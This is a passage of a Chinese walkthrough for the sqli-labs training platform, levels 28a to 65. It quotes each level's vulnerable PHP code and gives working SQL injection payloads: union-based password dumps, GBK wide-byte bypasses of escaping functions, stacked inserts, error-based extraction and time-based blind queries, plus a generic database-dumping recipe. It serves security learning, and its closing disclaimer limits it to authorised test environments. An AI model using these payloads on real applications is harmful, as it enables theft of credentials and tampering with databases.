id=0')%0bunion%0bseLect%0b1,group_concat(password,'=',username),3%0bfrom%0busers%0bwhere%0b1=('1
Less28a
关键源码:
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
...
//print_r(mysql_error());
...
function blacklist($id) {
//$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
//$id= preg_replace('/[--]/',"", $id); //Strip out --.
//$id= preg_replace('/[#]/',"", $id); //Strip out #.
//$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
//$id= preg_replace('/select/m',"", $id); //Strip out spaces.
//$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id); //Strip out spaces.
return $id;
}
注入代码:题目要求使用联合查询,可以用 Less28 方式绕过。
id=0') union select 1,group_concat(password,'=',username),3 from users where 1=('1
# 使用大小写变换
id=0')%0bunioN%0bseLect%0b1,group_concat(password,'=',username),3%0bfrom%0busers%0bwhere%0b1=('1
Less29
关键源码:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
...
print_r(mysql_error());
注入代码:联合绕过。
id=0'%0bunion%0bselect%0b1,group_concat(password,'=',username),3%0bfrom%0busers%0bwhere%0b1='1
Less30
关键源码:
$id = '"' .$id. '"';
...
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
...
//print_r(mysql_error());
注入代码:使用"
闭合,联合查询注入。
# 添加"闭合,双写union,select变化大小写
id=0"%0bunion%0bselect%0b1,group_concat(password,'=',username),3%0bfrom%0busers%0bwhere%0b1="1
Less31
关键源码:本题目需要注意闭合符号,可以使用报错注入或union联合注入。
$id = '"'.$id.'"';
...
$sql="SELECT * FROM users WHERE id= ($id) LIMIT 0,1";
...
print_r(mysql_error());
注入代码:采用联合注入。
# 原sql
id=0") union select 1,group_concat(password,'=',username),3 from users where 1=("1
# url编码
id=%30%22%29%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%31%2c%67%72%6f%75%70%5f%63%6f%6e%63%61%74%28%70%61%73%73%77%6f%72%64%2c%27%3d%27%2c%75%73%65%72%6e%61%6d%65%29%2c%33%20%66%72%6f%6d%20%75%73%65%72%73%20%77%68%65%72%65%20%31%3d%28%22%31
Less32
关键源码:替换了斜杠、单引号+斜杠、双引号+斜杠,使用GBK编码格式。
function check_addslashes($string) {
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);
//escape any backslash
$string = preg_replace('/\'/i', '\\\'', $string);
//escape single quote with a backslash
$string = preg_replace('/\"/', "\\\"", $string);
//escape double quote with a backslash
return $string;
}
...
$id=check_addslashes($_GET['id']);
...
mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
...
print_r(mysql_error());
注入代码:GBK编码中%5c
的反斜杠会当成中文字符(GBK编码2个字符解析成中文),%df + /
被url编码为%5c
,从而绕过斜杠过滤。
# 原sql
id=0%df' union select 1,group_concat(password,0x3a,username),3 from users--+
# 使用%20表示空格
id=0%df'%20union%20select%201,group_concat(password,0x3a,username),3%20from%20users--+
Less33
关键源码:GBK编码,addslashes
方法对单双引号、null
前面加反斜杠进行转义,参数单引号闭合。
function check_addslashes($string) {
$string= addslashes($string);
return $string;
}
// take the variables
...
$id=check_addslashes($_GET['id']);
...
// connectivity
mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
注入代码:
PHP 对所有的 GET、POST 和 COOKIE 数据自动运行 addslashes()
。所以不应对已转义过的字符串使用 addslashes()
,因为这样会导致双层转义。遇到这种情况时可以使用函数 get_magic_quotes_gpc()
进行检测。
本题依然可以用 Less32 的方法绕过。
id=0%df'%20union%20select%201,group_concat(password,0x3a,username),3%20from%20users--+
Less34
关键源码:
$uname = addslashes($uname1);
$passwd= addslashes($passwd1);
...
mysql_query("SET NAMES gbk");
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
...
print_r(mysql_error());
注入代码:使用 post 格式的请求方法,绕过方式通 Less33,注意 union
后 select
的列数少一个。
# %99 和 %df 都可以绕过。
uname=admin%99' union select 1,group_concat(password,0x3a,username) from users -- -&passwd=admin&submit=Submit
uname=admin%df' union select 1,group_concat(password,0x3a,username) from users -- -&passwd=admin&submit=Submit
Less35
关键源码:
function check_addslashes($string) {
$string = addslashes($string);
return $string;
}
...
$id=check_addslashes($_GET['id']);
...
mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
注入代码:数值注入+联合查询;不需要引号,addslashes
在这里没有起作用。
id=0 union select 1,group_concat(password,0x3a,username),3 from users --+
# 空格进行url编码
id=0%df'%20union%20select%201,group_concat(password,0x3a,username),3%20from%20users --+
Less36
关键源码:mysql_real_escape_string()
函数转义 SQL 语句中使用的字符串中的特殊字符(包括单引号、双引号、反斜杠等)。
function check_quotes($string) {
$string= mysql_real_escape_string($string);
return $string;
}
...
$id=check_quotes($_GET['id']);
...
mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
注入代码:
# 依然使用%df绕过,注意联合注入的列数。
id=0%df'%20union%20select%201,group_concat(password,0x3a,username),3%20from%20users--+
Less37
关键源码:
$uname = mysql_real_escape_string($uname1);
$passwd= mysql_real_escape_string($passwd1);
...
mysql_query("SET NAMES gbk");
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
注入代码:绕过方法同 Less34
uname=admin%df' union select 1,group_concat(password,0x3a,username) from users -- -&passwd=admin&submit=Submit
总结上面几关,过滤 ’ \ 常用的三种方式是直接replace, addslashes(), mysql_real_escape_string()。 三种方式仅仅依靠一个函数是不能完全防御的。
Less38
关键源码:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
...
print_r(mysqli_error($con1));
注入代码:这一关开始是堆叠注入,但是依然可以使用联合注入。
id=0'%20union%20select%201,group_concat(username,0x3a,password),3%20from%20users--+
Less39
关键源码:
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
注入代码:数值类型参数,使用常规union
注入。
# union注入
id=0%20union%20select%201,group_concat(username,0x3a,password),3%20from%20users--+
# 堆叠注入
id=1;insert%20into%20users(id,username,password)%20values(15,'less39','123456')--+
使用堆叠注入后,数据库多一条数据(登录账号、密码)。
Less40
关键源码:
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
注入代码:类似 Less38,修改了闭合符号。
id=1');insert%20into%20users(id,username,password)%20values(16,'less40','123456')--+
Less41
关键源码:
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
注入代码:数值型堆叠注入,方法同 Less39。
id=1';insert%20into%20users(id,username,password)%20values(17,'less41','123456')--+
Less42
关键源码:user 参数进行了过滤,考虑注入 password 参数。
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];
...
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
注入代码:堆叠注入,登录失败但是成功插入数据。
login_user=admin&login_password=1';insert%20into%20users(id,username,password)%20values(18,'less42','123456')--+&mysubmit=Login
Less43
关键源码:注入参数仍然选择 login_password。
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];
...
$sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";
注入代码:修改闭合符号,注入方式类似 Less42。
login_user=admin&login_password=1');insert%20into%20users(id,username,password)%20values(19,'less43','123456')--+&mysubmit=Login
Less44
关键源码:
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];
...
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
注入代码:类似 Less42
login_user=admin&login_password=1';insert%20into%20users(id,username,password)%20values(20,'less44','123456')--+&mysubmit=Login
Less45
关键源码:
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];
...
$sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";
注入代码:注意闭合符号,注入方式不变。
login_user=admin&login_password=1');insert%20into%20users(id,username,password)%20values(21,'less45','123456')--+&mysubmit=Login
Less46
关键源码:order by
注入,打印报错信息。
$id=$_GET['sort'];
...
$sql = "SELECT * FROM users ORDER BY $id";
...
print_r(mysql_error());
注入代码:order by
注入通常有报错注入、时间盲注、一句话木马,这里使用报错注入。
sort=1%20and%20updatexml(1,CONCAT(1,database()),1)
sort=1%20and%20updatexml(1,concat('>',(select%20group_concat(username,'=',password)%20from%20(select%20username,password%20from%20users%20limit%200,1)%20as%20a)),1)
Less47
关键源码:使用报错注入。
$id=$_GET['sort'];
...
$sql = "SELECT * FROM users ORDER BY '$id'";
...
print_r(mysql_error());
注入代码:类似 Less46,单引号进行 url 编码后为%27
,由于闭合符号是单引号,结尾要加注释符。
sort=1%27%20and%20updatexml(1,concat('>',(select%20group_concat(username,'=',password)%20from%20(select%20username,password%20from%20users%20limit%200,1)%20as%20a)),1)--+
Less48
关键源码:无报错回显,因此可以使用时间盲注。
$id=$_GET['sort'];
...
$sql = "SELECT * FROM users ORDER BY $id";
注入代码:
# 空格需要url编码为%20
# 猜库长度
?sort=1 and if(length(database())=8,1,sleep(2))--+
# 猜库名
?sort=1 and if(substr(database(),1,1)='s',1,sleep(2))--+
...
# 猜库中的表名
?sort=1 and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e',1,sleep(2))--+
...
# 猜表下面的字段名
?sort=1 and if(substr((select column_name frominformation_schema.columns where table_name='users' limit 0,1),1,1)='u',1,sleep(2))--+
# 猜字段的值
?sort=1%20and%20if(substr((select%20group_concat(username,password)%20from%20security.users%20limit%200,1),1,1)='d',1,sleep(2))--+
Less49
关键源码:
$id=$_GET['sort'];
...
$sql = "SELECT * FROM users ORDER BY '$id'";
注入代码:类似 Less48,多了闭合符号。
?sort=1%27%20and%20if(substr((select%20group_concat(username,password)%20from%20security.users%20limit%200,1),1,1)='d',1,sleep(2))--+
Less50
关键源码:使用了mysqli_multi_query
,可以使用堆叠注入。
$id=$_GET['sort'];
...
$sql="SELECT * FROM users ORDER BY $id";
...
if (mysqli_multi_query($con1, $sql))
...
print_r(mysqli_error($con1));
注入代码:
?sort=1;insert%20into%20users(id,username,password)%20values(22,'less50','123456')%20--+
Less51
关键源码:
$id=$_GET['sort'];
...
$sql="SELECT * FROM users ORDER BY '$id'";
...
/* execute multi query */
if (mysqli_multi_query($con1, $sql))
...
print_r(mysqli_error($con1));
注入代码:类似 Less50,多了闭合符号。
?sort=1%27;insert%20into%20users(id,username,password)%20values(23,'less51','123456')%20--+
Less52
关键源码:整数型,没有报错显示,只能堆叠注入或者延时注入。
$id=$_GET['sort'];
...
$sql="SELECT * FROM users ORDER BY $id";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))
注入代码:这里使用堆叠注入,注入方法类似 Less51。
?sort=1;insert%20into%20users(id,username,password)%20values(24,'less52','123456')%20--+
Less53
关键源码:参数是字符型,单引号闭合,没有报错显示,可以使用堆叠注入和延时注入。
$id=$_GET['sort'];
...
$sql="SELECT * FROM users ORDER BY '$id'";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))
注入代码:这里使用堆叠注入,注入方法类似 Less52。
?sort=1%27;insert%20into%20users(id,username,password)%20values(25,'less53','123456')%20--+
Less54
关键源码:本题挑战的目标是在不到10次的尝试中从数据库(challenges)的随机表中转储(密钥)。 且尝试超过十次重置数据库内容,id参数是单引号闭合。
$id=$_GET['id'];
...
// Querry DB to get the correct output
$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row) {
echo '<font color= "#00FFFF">';
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
} else {
echo '<font color= "#FFFF00">';
// print_r(mysql_error());
echo "</font>";
}
} else {
echo "Please input the ID as parameter with numeric value as done in Lab excercises\n<br><br>\n</font>";
echo "<font color='#00FFFF': size=3>The objective of this challenge is to dump the <b>(secret key)</b> from only random table from Database <b><i>('CHALLENGES')</i></b> in Less than $times attempts<br>";
echo "For fun, with every reset, the challenge spawns random table name, column name, table data. Keeping it fresh at all times.<br>";
}
注入代码:
# 爆表名
id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+
id=0%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27challenges%27--
# 爆字段(此处表名随机生成)
id=0' union select 1,2,group_concat(column_name) frominformation_schema.columns where table_schema='challenges' and table_name='QABV2UH8GU'--+
# 爆数据
id=0' union select 1,2,group_concat(secret_B3DS) from challenges.QABV2UH8GU--+
输入key到下面输入框中。
总结一下爆库步骤:
# 爆表
select 1,2,group_concat(table_name) from information_schema.tables where table_schema='库名'--+
# 爆字段
select 1,2,group_concat(column_name) from information_schema.columns where table_schema='库名' and table_name='表名'--+
# 爆数据
select 1,2,group_concat(字段) from 库名.表名--+
Less55
关键源码:比 Less54 仅仅添加了闭合符号。
$sql="SELECT * FROM security.users WHERE id=($id) LIMIT 0,1";
注入代码:
id=0)%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27challenges%27--+
id=0) union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='35ZW2E92JR'--+
id=0) union select 1,2,group_concat(secret_9AT3) from challenges.35ZW2E92JR--+
Less56
关键源码:
$sql="SELECT * FROM security.users WHERE id=('$id') LIMIT 0,1";
注入代码:相比 Less55 多了闭合符号,还是使用 union 注入。
id=0')%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27challenges%27--+
id=0') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='A9504IUWB7'--+
id=0') union select 1,2,group_concat(secret_3QJV) from challenges.A9504IUWB7--+
Less57
关键源码:
$id= '"'.$id.'"';
...
$sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";
注入代码:类似 Less56,使用 union 注入。
id=0" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+
id=0" union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='2TTHXE8R6F'--+
id=0" union select 1,2,group_concat(secret_SVPW) from challenges.2TTHXE8R6F--+
Less58
关键源码:这里输出的结果是从$unames
数组中取的结果,不能使用union 注入,可以用报错注入。
$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row) {
echo '<font color= "#00FFFF">';
$unames=array("Dumb","Angelina","Dummy","secure","stupid","superman","batman","admin","admin1","admin2","admin3","dhakkan","admin4");
$pass = array_reverse($unames);
echo 'Your Login name : '. $unames[$row['id']];
echo "<br>";
echo 'Your Password : ' .$pass[$row['id']];
echo "</font>";
} else {
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
注入代码:使用报错注入,步骤同 Less57。
# 爆表名
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e),1)--+
# 爆列名
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='NLG7XI8I69'),0x7e),1)--+
# 爆数据
?id=1' and updatexml(1,concat(0x7e,(select group_concat(secret_KZGR) from challenges.NLG7XI8I69),0x7e),1)--+
Less59
关键源码:类似 Less58,数值型注入。
$sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row) {
echo '<font color= "#00FFFF">';
$unames=array("Dumb","Angelina","Dummy","secure","stupid","superman","batman","admin","admin1","admin2","admin3","dhakkan","admin4");
$pass = array_reverse($unames);
echo 'Your Login name : '. $unames[$row['id']];
echo "<br>";
echo 'Your Password : ' .$pass[$row['id']];
echo "</font>";
} else {
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
注入代码:
# 爆表名
?id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e),1)--+
# 爆列名
?id=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='TFVB0G6WG3'),0x7e),1)--+
# 爆数据
?id=1 and updatexml(1,concat(0x7e,(select group_concat(secret_Y5RL) from challenges.TFVB0G6WG3),0x7e),1)--+
Less60
关键源码:比 Less59 只改变了闭合符号。
$id = '("'.$id.'")';
// Querry DB to get the correct output
$sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row) {
echo '<font color= "#00FFFF">';
$unames=array("Dumb","Angelina","Dummy","secure","stupid","superman","batman","admin","admin1","admin2","admin3","dhakkan","admin4");
$pass = array_reverse($unames);
echo 'Your Login name : '. $unames[$row['id']];
echo "<br>";
echo 'Your Password : ' .$pass[$row['id']];
echo "</font>";
} else {
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
注入代码:
# 爆表名
?id=1") and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e),1)--+
# 爆列名
?id=1") and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='ZJQ8FMMLOS'),0x7e),1)--+
# 爆数据
?id=1") and updatexml(1,concat(0x7e,(select group_concat(secret_JHCX) from challenges.ZJQ8FMMLOS),0x7e),1)--+
Less61
关键源码:报错注入,闭合是单引号+两个括号。
$sql="SELECT * FROM security.users WHERE id=(('$id')) LIMIT 0,1";
...
print_r(mysql_error());
注入代码:
# 爆表名
?id=1')) and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e),1)--+
# 爆列名
?id=1')) and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='O7D3SJAGTR'),0x7e),1)--+
# 爆数据
?id=1')) and updatexml(1,concat(0x7e,(select group_concat(secret_FGJM) from challenges.O7D3SJAGTR),0x7e),1)--+
Less62
关键源码:没有报错显示,可以使用布尔盲注和时间注入。
$sql="SELECT * FROM security.users WHERE id=('$id') LIMIT 0,1";
...
// print_r(mysql_error());
注入代码:
# 猜表名
id=1') and if(substr((select table_name from information_schema.tables where table_schema='challenges' limit 0,1),1,1)='M',1,sleep(1))--+
...
# 猜字段名
id=1') and if(substr((select column_name from information_schema.columns where table_name='M1BSBOKINI' limit 0,1),1,1)='s',1,sleep(1))--+
...
# 猜数据
id=1') and if(substr((select secret_4A2H from security.challenges limit 0,1),1,1)='4',1,sleep(1))--+
...
4FfPTRRjstvP9eCQXYCa3FzL
Less63
关键源码:对比 Less62,变化了闭合符号。
$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
...
// print_r(mysql_error());
注入代码:
# 猜表名
id=1' and if(substr((select table_name from information_schema.tables where table_schema='challenges' limit 0,1),1,1)='I',1,sleep(1))--+
...
# 猜字段名
id=1' and if(substr((select column_name from
information_schema.columns where table_name='I7QL4GBK6Q' limit 0,1),1,1)='s',1,sleep(1))--+
...
# 猜数据
id=1' and if(substr((select secret_FDGB from security.challenges limit 0,1),1,1)='9',1,sleep(1))--+
...
9chcZBhotyZ3TmkN2zJUIAgL
Less64
关键源码:和前面两关一样,id 参数是两个括号的整数型。
$sql="SELECT * FROM security.users WHERE id=(($id)) LIMIT 0,1";
注入代码:
# 猜表名
id=1)) and if(substr((select table_name from information_schema.tables where table_schema='challenges' limit 0,1),1,1)='4',1,sleep(1))--+
...
# 猜字段名
id=1)) and if(substr((select column_name from information_schema.columns where table_name='4ZDQZH0WN6' limit 0,1),1,1)='s',1,sleep(1))--+
...
# 猜数据
id=1)) and if(substr((select secret_V320 from security.challenges limit 0,1),1,1)='P',1,sleep(1))--+
...
P8h6I7YRSdhtn7BrD2ZJUHWD
Less65
关键源码:id 参数是双引号的字符型。
$id = '"'.$id.'"';
// Querry DB to get the correct output
$sql="SELECT * FROM security.users WHERE id=($id) LIMIT 0,1";
注入代码:
# 猜表名
id=1" and if(substr((select table_name from information_schema.tables where table_schema='challenges' limit 0,1),1,1)='0',1,sleep(1))--+
...
# 猜字段名
id=1" and if(substr((select column_name from information_schema.columns where table_name='08MU0D3ZW1' limit 0,1),1,1)='s',1,sleep(1))--+
...
# 猜数据
id=1" and if(substr((select secret_5VFF from security.challenges limit 0,1),1,1)='P',1,sleep(1))--+
...
4mqnPnp7riW12eN6O73kfnqU
本文内容仅用于 Web 安全技术学习与授权测试环境验证,严禁将相关技术用于未授权的系统或网络环境。Sqli-labs 为开源安全测试平台,使用时需确保环境隔离。